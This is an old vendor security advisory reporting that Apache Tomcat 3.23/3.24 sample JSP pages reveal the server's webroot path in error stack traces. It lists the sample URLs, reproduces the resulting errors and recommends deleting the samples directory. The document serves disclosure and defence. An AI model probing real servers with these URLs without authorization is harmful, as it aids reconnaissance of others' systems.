Procheckup Ltd
www.procheckup.com
Procheckup Security Bulletin PR02-7
Description: Tomcat multiple sample files display webroot
location on default configuration on request.
Date: 8/1/2002
Application: Apache Tomcat java server v3.23, 3.24.
Platform: Linux/Unix
Severity: Remote attackers can obtain the location of
webroot
Authors: Richard Brain [richard.brain@procheckup.com]
Vendor Status:
CVE Candidate: Not assigned
Reference: www.procheckup.com/security_info/vuln.html
Description:
Tomcat is the free opensource Java server,
http://jakarta.apache.org/tomcat/.
Tomcat comes with a selection of example programs which
displays the location of the webroot with no input, when
Tomcat is installed with default configuration.
The vulnerabilities may only work on port 8080 rather than
port 80, dependant on how the webserver has been configured
with Tomcat.
A) Requesting the following url :-
http://webserver/test/jsp/pageInfo.jsp
The program crashes displaying:-
Error: 500
Location: /test/jsp/pageInfo.jsp
Internal Servlet Error:
org.apache.jasper.JasperException: Unable to compile class
for JSP/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fpageInfo_0002ejsppageInfo_jsp_0.java:2
1: ';' expected.
return " " anything <% ' ";
^
"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fpageInfo_0002ejsppageInfo_jsp_0.java:2
1: Invalid character constant.
return " " anything <% ' ";
^
2 errors
at org.apache.jasper.compiler.Compiler.compile
(Compiler.java:282)
at org.apache.jasper.servlet.JspServlet.doLoadJSP
(JspServlet.java:612)
at org.apache.jasper.servlet.JasperLoader12.loadJSP
(JasperLoader12.java:146)
at org.apache.jasper.servlet.JspServlet.loadJSP
(JspServlet.java:542)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.loadI
fNecessary(JspServlet.java:258)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.servi
ce(JspServlet.java:268)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile
(JspServlet.java:429)
at org.apache.jasper.servlet.JspServlet.service
(JspServlet.java:500)
at javax.servlet.http.HttpServlet.service
(HttpServlet.java:853)
at org.apache.tomcat.core.ServletWrapper.doService
(ServletWrapper.java:405)
at org.apache.tomcat.core.Handler.service
(Handler.java:287)
at org.apache.tomcat.core.ServletWrapper.service
(ServletWrapper.java:372)
at
org.apache.tomcat.core.ContextManager.internalService
(ContextManager.java:812)
at org.apache.tomcat.core.ContextManager.service
(ContextManager.java:758)
at
org.apache.tomcat.service.connector.Ajp12ConnectionHandler.p
rocessConnection(Ajp12ConnectionHandler.java:166)
at org.apache.tomcat.service.TcpWorkerThread.runIt
(PoolTcpEndpoint.java:416)
at
org.apache.tomcat.util.ThreadPool$ControlRunnable.run
(ThreadPool.java:501)
at java.lang.Thread.run(Thread.java:484)
B) Requesting the following url :-
http://webserver/test/jsp/pageImport2.jsp
Error: 500
Location: /test/jsp/pageImport2.jsp
Internal Servlet Error:
org.apache.jasper.JasperException: Unable to compile class
for JSP/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fpageImport_00032_0002ejsppageImport2_j
sp_0.java:15: Identifier expected.
import java..;
^
1 error
at org.apache.jasper.compiler.Compiler.compile
(Compiler.java:282)
at org.apache.jasper.servlet.JspServlet.doLoadJSP
(JspServlet.java:612)
at org.apache.jasper.servlet.JasperLoader12.loadJSP
(JasperLoader12.java:146)
at org.apache.jasper.servlet.JspServlet.loadJSP
(JspServlet.java:542)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.loadI
fNecessary(JspServlet.java:258)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.servi
ce(JspServlet.java:268)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile
(JspServlet.java:429)
at org.apache.jasper.servlet.JspServlet.service
(JspServlet.java:500)
at javax.servlet.http.HttpServlet.service
(HttpServlet.java:853)
at org.apache.tomcat.core.ServletWrapper.doService
(ServletWrapper.java:405)
at org.apache.tomcat.core.Handler.service
(Handler.java:287)
at org.apache.tomcat.core.ServletWrapper.service
(ServletWrapper.java:372)
at
org.apache.tomcat.core.ContextManager.internalService
(ContextManager.java:812)
at org.apache.tomcat.core.ContextManager.service
(ContextManager.java:758)
at
org.apache.tomcat.service.connector.Ajp12ConnectionHandler.p
rocessConnection(Ajp12ConnectionHandler.java:166)
at org.apache.tomcat.service.TcpWorkerThread.runIt
(PoolTcpEndpoint.java:416)
at
org.apache.tomcat.util.ThreadPool$ControlRunnable.run
(ThreadPool.java:501)
at java.lang.Thread.run(Thread.java:484)
C) Requesting any of the following urls :-
http://webserver/test/jsp/buffer1.jsp
http://webserver/test/jsp/buffer2.jsp
http://webserver/test/jsp/buffer3.jsp
http://webserver/test/jsp/buffer4.jsp
Error: 500
Location: /test/jsp/buffer1.jsp
Internal Servlet Error:
org.apache.jasper.compiler.CompileException: /"WEBROOT"/test
/jsp/buffer1.jsp(3,0) Page directive: invalid value for
buffer
at
org.apache.jasper.compiler.JspParseEventListener$BufferHandl
er.handlePageDirectiveAttribute
(JspParseEventListener.java:490)
at
org.apache.jasper.compiler.JspParseEventListener.handleDirec
tive(JspParseEventListener.java:690)
at
org.apache.jasper.compiler.DelegatingListener.handleDirectiv
e(DelegatingListener.java:116)
at
org.apache.jasper.compiler.Parser$Directive.accept
(Parser.java:215)
at org.apache.jasper.compiler.Parser.parse
(Parser.java:1077)
at org.apache.jasper.compiler.Parser.parse
(Parser.java:1042)
at org.apache.jasper.compiler.Parser.parse
(Parser.java:1038)
at org.apache.jasper.compiler.Compiler.compile
(Compiler.java:209)
at org.apache.jasper.servlet.JspServlet.doLoadJSP
(JspServlet.java:612)
at org.apache.jasper.servlet.JasperLoader12.loadJSP
(JasperLoader12.java:146)
at org.apache.jasper.servlet.JspServlet.loadJSP
(JspServlet.java:542)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.loadI
fNecessary(JspServlet.java:258)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.servi
ce(JspServlet.java:268)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile
(JspServlet.java:429)
at org.apache.jasper.servlet.JspServlet.service
(JspServlet.java:500)
at javax.servlet.http.HttpServlet.service
(HttpServlet.java:853)
at org.apache.tomcat.core.ServletWrapper.doService
(ServletWrapper.java:405)
at org.apache.tomcat.core.Handler.service
(Handler.java:287)
at org.apache.tomcat.core.ServletWrapper.service
(ServletWrapper.java:372)
at
org.apache.tomcat.core.ContextManager.internalService
(ContextManager.java:812)
at org.apache.tomcat.core.ContextManager.service
(ContextManager.java:758)
at
org.apache.tomcat.service.connector.Ajp12ConnectionHandler.p
rocessConnection(Ajp12ConnectionHandler.java:166)
at org.apache.tomcat.service.TcpWorkerThread.runIt
(PoolTcpEndpoint.java:416)
at
org.apache.tomcat.util.ThreadPool$ControlRunnable.run
(ThreadPool.java:501)
at java.lang.Thread.run(Thread.java:484)
D) Requesting any of the following urls :-
http://webserver/test/jsp/comments.jsp
Error: 500
Location: /test/jsp/comments.jsp
Internal Servlet Error:
org.apache.jasper.JasperException: Unable to compile class
for JSP/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fcomments_0002ejspcomments_jsp_0.java:2
0: Identifier expected.
int;
^
/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fcomments_0002ejspcomments_jsp_0.java:7
2: '}' expected.
out.write("\n\n ");
^
/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fcomments_0002ejspcomments_jsp_0.java:7
6: Comment not terminated at end of input.
/*
^
3 errors
at org.apache.jasper.compiler.Compiler.compile
(Compiler.java:282)
at org.apache.jasper.servlet.JspServlet.doLoadJSP
(JspServlet.java:612)
at org.apache.jasper.servlet.JasperLoader12.loadJSP
(JasperLoader12.java:146)
at org.apache.jasper.servlet.JspServlet.loadJSP
(JspServlet.java:542)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.loadI
fNecessary(JspServlet.java:258)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.servi
ce(JspServlet.java:268)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile
(JspServlet.java:429)
at org.apache.jasper.servlet.JspServlet.service
(JspServlet.java:500)
at javax.servlet.http.HttpServlet.service
(HttpServlet.java:853)
at org.apache.tomcat.core.ServletWrapper.doService
(ServletWrapper.java:405)
at org.apache.tomcat.core.Handler.service
(Handler.java:287)
at org.apache.tomcat.core.ServletWrapper.service
(ServletWrapper.java:372)
at
org.apache.tomcat.core.ContextManager.internalService
(ContextManager.java:812)
at org.apache.tomcat.core.ContextManager.service
(ContextManager.java:758)
at
org.apache.tomcat.service.connector.Ajp12ConnectionHandler.p
rocessConnection(Ajp12ConnectionHandler.java:166)
at org.apache.tomcat.service.TcpWorkerThread.runIt
(PoolTcpEndpoint.java:416)
at
org.apache.tomcat.util.ThreadPool$ControlRunnable.run
(ThreadPool.java:501)
at java.lang.Thread.run(Thread.java:484)
E) Requesting any of the following urls :-
extends1.jsp
Internal Servlet Error:
org.apache.jasper.JasperException: Unable to compile class
for JSPNote: sun.tools.javac.Main has been deprecated.
"WEBROOT"/work/localhost_8080%
2Ftest/_0002fjsp_0002fextends_00031_0002ejspextends1_jsp_0.j
ava:49: Incompatible type for method. Explicit cast needed
to convert
jsp._0002fjsp_0002fextends_00031_0002ejspextends1_jsp_0 to
javax.servlet.Servlet.
pageContext = _jspxFactory.getPageContext(this,
request, response,
^
1 error, 1 warning
at org.apache.jasper.compiler.Compiler.compile
(Compiler.java:282)
at org.apache.jasper.servlet.JspServlet.doLoadJSP
(JspServlet.java:612)
at org.apache.jasper.servlet.JasperLoader12.loadJSP
(JasperLoader12.java:146)
at org.apache.jasper.servlet.JspServlet.loadJSP
(JspServlet.java:542)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.loadI
fNecessary(JspServlet.java:258)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.servi
ce(JspServlet.java:268)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile
(JspServlet.java:429)
at org.apache.jasper.servlet.JspServlet.service
(JspServlet.java:500)
at javax.servlet.http.HttpServlet.service
(HttpServlet.java:853)
at org.apache.tomcat.core.ServletWrapper.doService
(ServletWrapper.java:405)
at org.apache.tomcat.core.Handler.service
(Handler.java:287)
at org.apache.tomcat.core.ServletWrapper.service
(ServletWrapper.java:372)
at
org.apache.tomcat.core.ContextManager.internalService
(ContextManager.java:806)
at org.apache.tomcat.core.ContextManager.service
(ContextManager.java:752)
at
org.apache.tomcat.service.http.HttpConnectionHandler.process
Connection(HttpConnectionHandler.java:213)
at org.apache.tomcat.service.TcpWorkerThread.runIt
(PoolTcpEndpoint.java:416)
at
org.apache.tomcat.util.ThreadPool$ControlRunnable.run
(ThreadPool.java:501)
at java.lang.Thread.run(Thread.java:536)
extends2.jsp
Internal Servlet Error:
org.apache.jasper.JasperException: Unable to compile class
for JSPNote: sun.tools.javac.Main has been deprecated.
/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fextends_00032_0002ejspextends2_jsp_0.j
ava:50: Incompatible type for method. Explicit cast needed
to convert
jsp._0002fjsp_0002fextends_00032_0002ejspextends2_jsp_0 to
javax.servlet.Servlet.
pageContext = _jspxFactory.getPageContext(this,
request, response,
^
1 error, 1 warning
at org.apache.jasper.compiler.Compiler.compile
(Compiler.java:282)
at org.apache.jasper.servlet.JspServlet.doLoadJSP
(JspServlet.java:612)
at org.apache.jasper.servlet.JasperLoader12.loadJSP
(JasperLoader12.java:146)
at org.apache.jasper.servlet.JspServlet.loadJSP
(JspServlet.java:542)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.loadI
fNecessary(JspServlet.java:258)
at
org.apache.jasper.servlet.JspServlet$JspServletWrapper.servi
ce(JspServlet.java:268)
at
org.apache.jasper.servlet.JspServlet.serviceJspFile
(JspServlet.java:429)
at org.apache.jasper.servlet.JspServlet.service
(JspServlet.java:500)
at javax.servlet.http.HttpServlet.service
(HttpServlet.java:853)
at org.apache.tomcat.core.ServletWrapper.doService
(ServletWrapper.java:405)
at org.apache.tomcat.core.Handler.service
(Handler.java:287)
at org.apache.tomcat.core.ServletWrapper.service
(ServletWrapper.java:372)
at
org.apache.tomcat.core.ContextManager.internalService
(ContextManager.java:806)
at org.apache.tomcat.core.ContextManager.service
(ContextManager.java:752)
at
org.apache.tomcat.service.http.HttpConnectionHandler.process
Connection(HttpConnectionHandler.java:213)
at org.apache.tomcat.service.TcpWorkerThread.runIt
(PoolTcpEndpoint.java:416)
at
org.apache.tomcat.util.ThreadPool$ControlRunnable.run
(ThreadPool.java:501)
at java.lang.Thread.run(Thread.java:536)
F) Requesting any of the following urls :-
http://webserver/test/jsp/pageAutoFlush.jsp
http://webserver/test/jsp/pageDouble.jsp
http://webserver/test/jsp/pageExtends.jsp
http://webserver/test/jsp/pageImport2.jsp
http://webserver/test/jsp/pageInfo.jsp
Internal Servlet Error:
org.apache.jasper.JasperException: Unable to compile class
for JSP/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fpageInfo_0002ejsppageInfo_jsp_0.java:2
1: ';' expected.
return " " anything <% ' ";
^
/"WEBROOT"/localhost_8080%
2Ftest/_0002fjsp_0002fpageInfo_0002ejsppageInfo_jsp_0.java:2
1: Invalid character constant.
return " " anything <% ' ";
http://webserver/test/jsp/pageInvalid.jsp
http://webserver/test/jsp/pageIsErrorPage.jsp
http://webserver/test/jsp/pageIsThreadSafe.jsp
http://webserver/test/jsp/pageLanguage.jsp
http://webserver/test/jsp/pageSession.jsp
http://webserver/test/jsp/declaration/IntegerOverflow.jsp
Solution:
Delete the samples directory if not needed
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